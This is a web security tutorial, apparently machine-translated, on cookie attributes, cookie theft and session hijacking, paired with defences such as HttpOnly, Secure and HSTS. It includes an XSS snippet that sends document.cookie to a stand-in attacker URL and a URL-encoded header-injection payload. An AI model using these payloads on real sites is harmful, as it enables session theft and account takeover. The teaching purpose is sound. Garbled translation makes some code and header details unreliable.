Cookie Theft and session hijacking

Cookie Theft and session hijacking
I. Basic Features of cookies

If you do not know the cookie, go to wikipedia to learn about it.

Http request

Each request sent by the browser to the server carries a cookie:

Host: www.example.org

Cookie: foo = value1; bar = value2

Accept :*/*

Http response

The server can set the cookie for the browser's return:

HTTP/1.1 200 OK

Content-type: text/html

Set-Cookie: name = value

Set-Cookie: name2 = value2; Expires = Wed, 09 June 2021 10:18:32 GMT

(Content of page)

 

Ii. cookie-related terms session cookie

When no timeout time is set for a cookie, the cookie will be destroyed when the browser exits. This cookie is a session cookie.

Persistent cookie/tracking cookie

If a cookie with a timeout value is set, it will be destroyed at a specified time. The cookie can be sustained until the browser exits, and the cookie is persisted in the browser. Many websites use cookies to track users' historical records. For example, Advertising sites use cookies to record the content they have browsed. Search engines use cookies to record historical search records. This can also be called tracking cookies, because it is used to track user behavior.

Secure cookie

You can specifysecureIn this case, the cookie is sent to the network request only when it is transmitted over https. The unencrypted http request does not contain the secure cookie. Example of how to set the secure cookie:

Set-Cookie: foo = bar; Path =/; Secure

HttpOnly cookie

You can specifyHttpOnlyAttribute.

Set-Cookie: foo = bar; Path =/; HttpOnly

The cookie with this attribute set cannot be obtained in javascript and will only be taken to the server during network transmission.

 

 

Third-party cookie

Third-party cookies are usually used in iframe scenarios. For example, if www.a.com has intruded into an advertisement iframe for www.ad.com, the cookie set for www.ad.com does not belong to www.a.com and is called a third-party cookie.

Supercookie

Cookie will belong to a domain name, such as www.a.com, or a subdomain, such as B .a.com. But what happens if the cookie is declared to belong to. com? This cookie will take effect for any. com domain name. This has a lot of security issues. This cookie is called a supercookie. The browser imposes restrictions and does not allow you to set top-level domain name cookies (such as. com,. net) and pubic suffix cookies (such as. co. uk, .com.cn ). Modern mainstream browsers have handled the supercookie issue well. However, if some third-party browsers have problems with the top-level domain names and public suffix lists, they can attack supercookies.

Zombie cookie/evercookie

A zombie cookie is a cookie that can be automatically created after the user clears the cookie through browser settings. The principle is to use multiple technologies to record the same content (such as flash and silverlight), and restore the cookie from other storage when it is deleted. Evercookie is the main technical means to implement zombie cookies. Learn about botnets and evercookies.

3. What is the use of cookies?

Cookie has three main purposes.

Session management

The http protocol itself is stateless, but many modern sites need to maintain the logon status, that is, maintain the session. The most basic way to maintain a session is Base Auth. However, in this way, the user name and password are sent to the client in plaintext in each request, which is vulnerable to man-in-the-middle attacks, there are great security risks. Therefore, most websites now adopt cookie-based session management: After a user successfully logs in, a unique cookie is set to identify the session and user authorization is performed based on the identity. As long as the request carries this identifier, it is considered as a logon state.

Personalization

 

Cookies can be used to record some information so that relevant content can be displayed when users browse the page later. A typical example is the shopping cart function of a shopping site. The previous Google exit iGoogle product is also a typical example. Users can have their own Google Custom homepage, which uses cookies.

 

User tracking

Cookies can also be used to track user behaviors, such as whether or not they have accessed the site and what operations they have performed.

Iv. cookie Theft and session hijacking

In this article, we will discuss the session management security issues in the three uses of cookies. Since the cookie is used to maintain the session, what will happen if the cookie is stolen by attackers? Session hijacked! Attackers can hijack sessions to log on to your account and view most user resources.

The most basic cookie Stealing method: xss Vulnerability

Once the website has an xss vulnerability that can be exploited, attackers can directly use the injected js script to obtain the cookie, and then report the cookie that identifies the session id to the attacker through asynchronous requests.

Var img = document. createElement ('img ');

Img. src = 'HTTP: // edevil-url? C = '+ encodeURIComponent (document. cookie );

Document. getElementsByTagName ('body') [0]. appendChild (img );

How to find XSS vulnerabilities is another topic, google.DefenseAccording to the aboveHttpOnly cookieOnce a cookie is setHttpOnly. Js scripts cannot be obtained, but will still be carried during network transmission. That is to say, the cookie can still be used for session maintenance, but the client js is invisible to it. Even if xss exists

The vulnerability cannot be used for session hijacking. However, what we mentioned above is that xss cannot be used for simple attacks, but it is not impossible. Since it cannot be used document.cookieYou can use other methods. The following describes the two types of xss attacks combined with other vulnerabilities.

 

Xss with phpinfo page

As we all know, apps developed using php will have a phpinfo page. This page dumps the request information, including the cookie information.

If you do not close this page, you can use the xss vulnerability to initiate an asynchronous request to the page. After obtaining the page content, parse sends the cookie information and then uploads it to the attacker. Phpinfo is just the most common dump Request page, but it is not limited to this. For debugging convenience, any dump Request page can be exploited.DefenseClose all phpinfo dump request information pages.

XSS + http trace = XST

This is an old attack method, and it has now disappeared. Here, we can expand our attack defense ideas. Http trace is a method for our web server to return all client request information to the client. The cookie contains HttpOnly. If you use xss to initiate a trace request asynchronously, you can obtain the session information. The reason is that it is an old attack method, because modern browsers prohibit asynchronous trace requests considering the dangers of XST. In addition, when the browser does not prohibit asynchronous tracing, many developers disable the trace support of web server to defend against XST attacks. However, attackers can bypass this vulnerability under certain circumstances. The user uses the proxy server, but the proxy server does not disable trace support, so that trace can be performed again.

HTTP Response Splitting

Generally, XSS attacks inject input content into response content. HTTP Response Splitting is a type of header injection. For example, if a site accepts a 302 jump parameter:

Www.example.com /? R = http://baidu.com

Request Information:

GET/example.com? R = http://baidu.com

HTTP/1.1

Host: example.com

Response:

HTTP/1.1 302 Found

Location: http://baidu.com

Content-Type: text/html

In this way, the page will jump to Baidu 302. Attackers can inject headers using the r parameter. The r parameter is not a simple url but contains the header information:

Http://example.com /? R = % 0d % 0 aHTTP/1.1% 20200% 20OK % 0d % 0aContent-Type: % 20 text/html % 0d % 0aX-XSS-Protection: % 200% 0d % 0a % 0d % 0a % 3 Chtml % 3E % 3 Cscript % 3 Ealert (document. cookie) % 3C/script % 3E % 3366% 3 EDefaced! % 3C/h1% 3E % 3C/html % 3E

Response becomes:

HTTP/1.1 302 Found

Location:

HTTP/1.1 200 OK

Content-Type: text/html

X-XSS-Protection: 0

<Html> <script> alert (document. cookie) </script>

Content-Type: text/html

 

There are two attack points:

Specify X = XSS-Protection: 0 to disable the xss Protection mechanism of the browser.

Injection script

The defense filters the content of the header and cannot be missed, especially Location, host, referrer, and so on. In the end, this is also an XSS attack, but the attack method is not the same as the common one. For header attacks, you can also perform SQL injection. The defense principle is to sanitize all input, including non-user input content, such as referrer information that is generally carried by browsers, because requests can be completely forged and may not come from browsers.

Network listening (network eavesdropping/network sniffing)

The preceding attack methods use the features of upper-layer applications. Cookies are not only stored in upper-layer applications, but also transferred to requests. If the upper-layer application cannot be obtained, attackers can obtain the information from the network request. Any website that does not use https encryption can capture packets for analysis, including the cookie that identifies the session. Of course, network listening must meet certain requirements. This is another topic. Common Methods:

DNS cache poisoning attackers map a subdomain of the domain name to be attacked to the attacker's server, and then find a way for attackers to access the server (XSS request, social attacks, etc ), all cookies (including HttpOnly) are included in the request ).

A common attack in man-in-the-middle mode is to set up free wifi and designate the DHCP server as the ip address of the attacker. The attacker can receive all requests on the machine, not only to obtain cookies, but also to inject scripts.

Free VPN for proxy server/VPN wall-over? Haha.

Use https for defense. Requests using the https protocol are encrypted by ssl. Theoretically, they cannot be cracked. Even if they are listened to by the network, they cannot be decrypted to see the actual content. There are two methods to defend against network listening:

Channel Encryption

Content Encryption

 

Https is an encrypted channel, and the content transmitted on this channel is invisible to middlemen. However, https is costly. Content encryption is easy to understand, for example, encryption of the password before transmission. However, the identity information such as the cookie that identifies the session cannot be protected through content encryption. So, can websites with https be able to sit back and relax? In fact, improper handling of some details also exposes the risk of attacks.

 

Https site attack: Dual Protocol

If both http and https are supported, you can still use the network to listen to http requests to obtain cookies.DefenseOnly https is supported, but http is not supported. Is that all right? No.

Https site attack: 301 redirection

For example, www.example.com only supports the https protocol. When you directly enter example.com (most users do not manually enter the Protocol prefix), the web server usually returns 301 and requires the browser to redirecthttps://www.example.com. This 301 request is http! In addition, the cookie is exposed to the network in plain text.Defense 1Set the cookie that identifies the session to secure. The secure cookie mentioned above only allows encrypted transmission over https and does not exist in http requests, so it will not be exposed to unencrypted networks. Then the reality is cruel. Many sites cannot make all requests go through https. There are many reasons, which may be cost considerations or business needs.Defense 2SetStrict-Transport-Security header, Directly Omitting this http request! After the user accesses the server for the first time, the http 301 request will be omitted later.

Thoughts

If session hijacking fails, how can attackers initiate further attacks? The purpose of session hijacking is to get the login status, so as to obtain server authorization and make many requests, such as account changes. If the session cannot be hijacked, can we make authorization requests? You don't need to get the session cookie. You can initiate a cross-site request. This is CSRF! The server stores user credencookie in cookies to maintain the session. The cookie is automatically transmitted during each http/https access. The defects in the Protocol are the root cause of CSRF attacks! Defense method: use anti-forgery token

 

 

Most attacks are Elevation of Privilege. The most basic Elevation of Privilege is achieved by stealing the username and password, but fails to steal the session instead of Cross-Site attacks. Replay can also cause harm.